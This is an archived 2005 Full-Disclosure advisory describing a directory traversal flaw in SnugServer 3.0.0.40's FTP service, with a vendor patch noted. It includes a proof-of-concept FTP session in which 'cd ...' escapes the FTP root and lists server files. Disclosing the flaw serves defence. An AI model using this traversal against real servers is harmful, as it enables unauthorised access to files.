Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security FullDisclosure
[Top] [All Lists]

[Full-Disclosure] Remotely exploitable file traversal vulnerability in S

Subject: [Full-Disclosure] Remotely exploitable file traversal vulnerability in SnugServer 3.0.0.40 FTP Service
Date: Thu, 27 Jan 2005 17:37:41 +0200
See Security, Research and Development
www.see-security.com
------------------------------------------------------

[-] Product Information

SnugServer - All your Software Servers in 1 Application.
Upload and download files to/from the Internet. Unique 
firewall file system where your FTP files can be stored in a 
data file to prevent internal network hacker attacks. Product 
Homepage: http://www.snugserver.com/

[-] Vulnerability Description

A file traversal vulnerability has been discovered in 
SnugServer 3.0.0.40 FTP Service, which allows access to the 
server filesystem, outside of ftproot.

[-]PoC

root@Whoppix:/# ftp 192.168.1.154
Connected to 192.168.1.154.
220-
 Welcome FTP User. SnugServer is ready. 
 Name (192.168.1.154:root): muts@default.com
331  Password required for muts@default.com.
Password:
230  See FTP Server 
Remote system type is You.
ftp> ls
200  PORT Command Successful. 
150  Opening ASCII mode data connection for directory listing.
 drw-rw-rw-   1 owner    group            0  Jan 21 03:51 ..
 drw-rw-rw-   1 owner    group            0  Jan 21 02:08 dir
226  Transfer Complete.
ftp> cd ...
200  PORT Command Successful.
ftp> ls
200  PORT Command Successful. 
150  Opening ASCII mode data connection for directory listing.
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 ..
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 Cert
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 Logs
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 Requests
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 Scripts
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 Errors
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 Queue
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 www
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 Infected
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 Temp
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 Filtered
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 BaseData
-rw-rw-rw-   1 owner    group 8421376  Jan 21 03:52 SNUG.FDB
drw-rw-rw-   1 owner    group      0  Jan 21 03:51 ftp
-rw-rw-rw-   1 owner    group 1861120  Jan 21 03:52 Snug.gbk
-rw-rw-rw-   1 owner    group   32  Jan 21 03:52 yarrow.rnd
226  Transfer Complete.
ftp>
 
[-] Patch

The vendor has been notified, and an update is available at:
 
http://www.snugserver.com/download.php

[-] Credits

This vulnerability was discovered by muts
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

<Prev in Thread] Current Thread [Next in Thread>
  • [Full-Disclosure] Remotely exploitable file traversal vulnerability in SnugServer 3.0.0.40 FTP Service, muts <=